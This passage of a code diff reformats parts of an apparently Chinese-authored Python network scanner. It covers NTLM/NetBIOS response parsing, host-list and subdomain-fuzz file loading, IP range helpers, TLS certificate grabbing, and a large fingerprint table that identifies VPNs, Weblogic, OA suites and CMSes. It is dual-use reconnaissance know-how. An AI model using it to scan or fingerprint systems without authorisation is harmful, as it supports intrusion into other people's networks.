52])) + "\n" - - - msg += "NTLM Current Revision: %d" % (ord(ret[start + 55: start + 56]) ) + "\n" + length = ord(ret[start + 40 : start + 41]) + ord(ret[start + 41 : start + 42]) * 256 + + offset = ord(ret[start + 44 : start + 45]) + + msg += "Major Version: %d" % ord(ret[start + 48 : start + 49]) + "\n" + + msg += "Minor Version: %d" % ord(ret[start + 49 : start + 50]) + "\n" + + msg += ( + "Bulid Number: %d" + % (ord(ret[start + 50 : start + 51]) + 256 * ord(ret[start + 51 : start + 52])) + + "\n" + ) + + msg += "NTLM Current Revision: %d" % (ord(ret[start + 55 : start + 56])) + "\n" index = start + offset while index < start + offset + length: - item_type = ret[index:index + 2] - - item_length = ord(ret[index + 2:index +3]) + ord(ret[index + 3:index +4]) * 256 - - item_content = ret[index + 4: index + 4 + item_length].replace(b"\x00", b"") + item_type = ret[index : index + 2] + + item_length = ( + ord(ret[index + 2 : index + 3]) + ord(ret[index + 3 : index + 4]) * 256 + ) + + item_content = ret[index + 4 : index + 4 + item_length].replace(b"\x00", b"") if item_type == b"\x07\x00": - + if PYVERSION > "3.0": - timestamp = int.from_bytes(item_content, byteorder="little") - else: - timestamp = int("".join(reversed(item_content)).encode("hex"), 16) + timestamp = int.from_bytes(item_content, byteorder="little") + else: + timestamp = int("".join(reversed(item_content)).encode("hex"), 16) - - EPOCH_AS_FILETIME = 116444736000000000; HUNDREDS_OF_NANOSECONDS = 10000000 - timestamp = datetime.fromtimestamp((timestamp - EPOCH_AS_FILETIME) / HUNDREDS_OF_NANOSECONDS) + EPOCH_AS_FILETIME = 116444736000000000 + HUNDREDS_OF_NANOSECONDS = 10000000 + timestamp = datetime.fromtimestamp( + (timestamp - EPOCH_AS_FILETIME) / HUNDREDS_OF_NANOSECONDS + ) - msg += "%s: %s" % (NetBIOS_ITEM_TYPE[item_type], timestamp) + "\n" elif item_type in NetBIOS_ITEM_TYPE: - - msg += "%s: %s" % (NetBIOS_ITEM_TYPE[item_type], item_content.decode(errors="ignore")) + "\n" - elif item_type == b"\x00\x00": + + msg += ( + "%s: %s" + % (NetBIOS_ITEM_TYPE[item_type], item_content.decode(errors="ignore")) + + "\n" + ) + elif item_type == b"\x00\x00": break else: - + msg += "Unknown: %s" % (item_content) + "\n" - - index += 4 + item_length + + index += 4 + item_length lock.acquire() - print(addr + " " + msg) + print(addr + " " + msg) resAlivedomainFile.write(addr + " " + msg + "\n") resAlivedomainFile.flush() lock.release() @@ -5202,9 +5443,11 @@ def unzip(data): gz.close() return data + def containenglish(str0): return bool(re.search("[a-z]", str0)) + def openFile(filename): hostlist = [] try: @@ -5217,18 +5460,19 @@ def openFile(filename): line = line.decode("utf-8") except: pass - + line = line.strip("\n") if "/" in line and "//" not in line and not containenglish(line): tempiplist = to_ips(line) hostlist += list(tempiplist) elif "//" in line: - hostlist.append(line.strip().replace("http://","").replace("https://","")) + hostlist.append(line.strip().replace("http://", "").replace("https://", "")) else: hostlist.append(line.strip()) return hostlist + def opensubDomainFile(filename): hostlist = [] try: @@ -5238,15 +5482,20 @@ def opensubDomainFile(filename): sys.exit(0) if "[fuzz]" in args.host: for line in f: - hostlist.append(args.host.replace("http://","").replace("https://","").replace("[fuzz]",line.decode().strip())) + hostlist.append( + args.host.replace("http://", "") + .replace("https://", "") + .replace("[fuzz]", line.decode().strip()) + ) else: for line in f: - hostlist.append(line.decode().strip()+args.host) + hostlist.append(line.decode().strip() + args.host) f.close() return hostlist + def opensubFile(filename): # hostscan read file hostlist = [] @@ -5260,9 +5509,10 @@ def opensubFile(filename): hostlist.append(line.decode().strip() + "." + args.domain) return hostlist + def openUrlFile(filename): urllist = [] - try: + try: f = open(filename, "r") except: print(info("File not find")) @@ -5272,30 +5522,41 @@ def openUrlFile(filename): urllist.append(urlpath.strip("\n").strip("\r")) return urllist + def ip2num(ip): - + ips = [int(x) for x in ip.split(".")] return ips[0] << 24 | ips[1] << 16 | ips[2] << 8 | ips[3] + def num2ip(num): - return "%s.%s.%s.%s" % ((num >> 24) & 0xff, (num >> 16) & 0xff, (num >> 8) & 0xff, (num & 0xff)) + return "%s.%s.%s.%s" % ( + (num >> 24) & 0xFF, + (num >> 16) & 0xFF, + (num >> 8) & 0xFF, + (num & 0xFF), + ) + def gen_ip(ip): if type(ip) is not list: for ips in to_ips(ip.strip()): yield ips + return + for i in ip: for ips in to_ips(i.strip()): yield ips + def getHttpCert(host, port): if args.nocert: return "null", "null" try: ip = socket.gethostbyname(host) - sock= socket.socket() + sock = socket.socket() sock.settimeout(4) c = ssl.wrap_socket(sock, cert_reqs=ssl.CERT_REQUIRED, ca_certs="cacert.pem") c.settimeout(4) @@ -5311,21 +5572,23 @@ def getHttpCert(host, port): class FingerStruct: def __init__(self): self.fail = 0 - self.child = [0 for i in range(91)] # Character word ord("z") - ord("/x20") + 1 + self.child = [0 for i in range(91)] # Character word ord("z") - ord("/x20") + 1 self.exist = [] + class CFingerStruct: def __init__(self): self.fail = 0 - self.child = [0 for i in range(1000)] + self.child = [0 for i in range(1000)] self.exist = [] + class Fingerident: def __init__(self): self.fin = {"SHORTCUT ICON\" href=\"img/logo_small.ico\"":"用友nc!!","spring.cloud.bootstrap.location":"spring location yaml","spring.datasource.hikari.connection-test-query":"spring hikari","spring.cloud.bootstrap.location":"srping location","logo/images/logo.gif":"用友nc_gif", "ch.qos.logback.classic": "spring jolokia logback", "defaultZone": "srping env defaultZone", "servletContextInitParams": "Spring env!!", "logback": "Spring env!!", "Error 401--Unauthorized": "Weblogic!!", "Error 404--Not Found": "Weblogic!!", "Error 403--": "Weblogic!!", "Error 500--": "Weblogic!!", "/por/login_psw.csp": "Sangfor SSL VPN!!","weaver,e-mobile":"e-mobile!!", "ecology":"ecology!!", "\"/r/cms/":"JEECMS!!", "e-Bridge":"e-Bridge!!", "wx.weaver":"e-Bridge!!", "Swagger":"Swagger UI!!", "4008 111 000":"Ruijie", "Script/SmcScript.js?version=":"Huawei SMC", "/wnm/ssl/web/frame/login.html": "H3C Router", "/+CSCOE+/logon.html": "Cisco SSLVPN!!", "Huawei":"Huawei", "huawei":"Huawei", "Hicloud":"Huawei", "hicloud":"Huawei", "Vmall":"Huawei", "vmall":"Huawei", "../zentao/theme/zui/css/min.css":"Zentao!!", "/webmail/client/index.php?module=operate&action=login":"U-Mail!!", "UI_component/commonDefine/UI_regex_define.js":"Huawei Firewall","/zcms/":"ZCMS!!", "gHasSecureMail":"亿邮!!", "any_rsa_pass": "anymacro!!", "https://sec.anymacro.com":"anymacro!!", "action=\"/coremail/index.jsp?cus=1\"":"Coremail!!", "/coremail/common/":"Coremail!!", "href=\"/seeyon/skin/dist":"致远OA!!", "/seeyon/main.do":"致远OA!!", "StylePath:\"/resource/style":"蓝凌ekp!!", "Office Anywhere":"通达OA!!", "general/login_code.php":"通达OA!!", "webmail/se/account/download.do":"Richmail!!", "url=/webmail/\"":"Richmail!!", "Zabbix SIA":"Zabbix!!", "Powered by Discuz!":"Discuz!!", "content=\"Discuz!":"Discuz!!", "/bds/stylesheets/fds.css":"Biscom-Delivery-Server", "/bds/includes/fdsJavascript.do":"Biscom-Delivery-Server", "/ewebeditor.htm?":"ewebeditor", "align=center>HP Officejet": "HP-OfficeJet-Printer", "/bds/stylesheets/fds.css": "Biscom-Delivery-Server", "/bds/includes/fdsJavascript.do": "Biscom-Delivery-Server", "style/pwc/ddwrt.css": "DD-WRT", "/ewebeditor.htm?": "ewebeditor", "new FCKeditor": "fckeditor", "xheditor_lang/zh-cn.js": "xheditor", "class=xheditor": "xheditor","free_nbr_login_form.png": "锐捷NBR路由器", "passWithWarnings": "arrisi_Touchstone", "Forms/rpAuth_1": "ZyXEL", "mon. Tell me your username": "Ruckus", "/jscripts/rap_util.js": "rap", "__admin_media_prefix__": "Django", "csrfmiddlewaretoken": "Django", "axis2-web/css/axis-style.css": "axis2-web", "xmlns:wicket=": "Apache-Wicket", "/org.apache.wicket.": "Apache-Wicket", "

BEA WebLogic Server": "BEA-WebLogic-Server", "WebLogic": "BEA-WebLogic-Server", "": "EDK", "target=_blank>eDirectory&trade": "eDirectory", "Powered by Replica set status

": "mongodb", "The Magic Voice Box": "MVB2000", "lemis.WEB_APP_NAME": "lemis管理系统", "logo_freeboxos": "FreeboxOS", "mfs.cgi": "moosefs", "under-goal files": "moosefs", "BACKGROUND: url(images/loginbg.jpg) #e5f1fc": "蓝盾BDWebGuard", "Generated by phpDocumentor": "phpDocumentor", "_jcr_content": "Adobe_ CQ5", "generator content=Adobe GoLive": "Adobe_GoLive", "generator content=Adobe RoboHelp": "Adobe_RoboHelp", "generator content=Amaya": "Amaya", "loginHead>": "BASE", "mailto:base@secureideas.net": "BASE", "/Software/Basilic": "Basilic", "Powered by: ": "Basic-PHP-Events-Lister", "Powered by ": "BM-Classifieds", "window.location=/Citrix/MetaFrame": "Citrix-Metaframe", "/images/Cogent.gif": "Cogent-DataHub", "": "WP Plugin All-in-one-SEO-Pack", "content=1024 CMS": "1024 CMS", "SpeakIntertScarch.aspx": "北京金盘鹏图软件", "content=STCMS": "STcms", "DahongY": "STcms", "SetKingoEncypt.jsp": "青果软件", "/jkingo.js": "青果软件", "content=DirCMS": "DirCMS", "content=niubicms": "牛逼cms", "/SouthidcKeFu.js": "南方数据", "CONTENT=Copyright 2003-2015 - Southidc.net": "南方数据", "/Southidcj2f.Js": "南方数据", "yidacms.css": "yidacms", "power by bcms": "bluecms", "bcms_plugin": "bluecms", ">taoCMS<": "taocms", "jqueryTiki = new Object": "Tiki-wiki CMS", "content=LEPTON-CMS": "lepton-cms", "Powered by LEPTON CMS": "lepton-cms", "UserInfo/UserFP.aspx": "euse_study", "DuomiCms": "DuomiCms", "content=Erwin Aligam - ealigam@gmail.com": "ANECMS", "content=http://www.ananyoo.com": "Ananyoo-CMS", "Powered by: Amiro CMS": "Amiro-CMS", "-= Amiro.CMS (c) =-": "Amiro-CMS", "AlumniServerProject.php": "AlumniServer", "content=Alumni": "AlumniServer", "Powered by EPay Enterprise": "AlstraSoft-EPay-Enterprise", "/shop.htm?action=view": "AlstraSoft-EPay-Enterprise", "": "AlstraSoft-AskMe", "http://www.alstrasoft.com": "AlstraSoft-AskMe", "copyright Artiphp": "Artiphp-CMS", "content=BIGACE": "BIGACE", "Site is running BIGACE": "BIGACE", "
": "BackBee", "Powered by Auto CMS": "Auto-CMS", "content=AutoCMS": "Auto-CMS", "content=STARCMS": "STAR CMS", "STARPowered by": "bitweaver", "content=ClanSphere": "ClanSphere", "index.php?mod=clansphere&action=about": "ClanSphere", "Powered by CitusCMS": "CitusCMS", "CitusCMS": "CitusCMS", "content=CitusCMS": "CitusCMS", "content=Webmanager-pro": "CMS-WebManager-Pro", "href=http://webmanager-pro.com>Web.Manager": "CMS-WebManager-Pro", "powered by CMSQLite": "CMSQLite", "content=www.CMSQLite.net": "CMSQLite", "Powered by CMSimple.dk": "CMSimple", "content=CMSimple": "CMSimple", "content=CMScontrol": "CMScontrol", "target=_blank>Claroline": "Claroline", "http://www.claroline.net rel=Copyright": "Claroline", "Powered by  Car Script": "Car-Portal", "powered by CafeEngine.com": "CafeEngine", "Powered by BrowserCMS": "BrowserCMS", "content=BrowserCMS": "BrowserCMS", "powered by Contrexx": "Contrexx-CMS", "content=Contrexx": "Contrexx-CMS", "content=contentXXL": "ContentXXL", "content=Esselbach Contentteller CMS": "Contentteller-CMS", "system/contao.css": "Contao", "content=CommonSpot": "CommonSpot", "Created by CruxCMS": "CruxCMS", "href=/Writable/ClientImages/mycss.css": "锐商企业CMS", "content=coWiki": "coWiki", "": "bbPress", "is proudly powered by ": "U-Mail", "/cgi-bin/spammark?empty=1": "Spammark邮件信息安全网关", "/systemfunction.pack.js": "科信邮件系统", "lo_computername": "科信邮件系统", "WinWebMail Server": "winwebmail", "images/owin.css": "winwebmail", "content=Tmailer": "泰信TMailer邮件系统", "href=/tmailer/img/logo/favicon.ico": "泰信TMailer邮件系统", "/resource/se/lang/se/mail_zh_CN.js": "richmail", "content=Richmail": "richmail", "Copyright byCaupoNet": "CaupoShop-Classic", "content=PrestaShop": "PretsaShop", "CONTENT=Powered by Comersus": "ComersusCart", "href=comersus_showCart.asp": "ComersusCart", "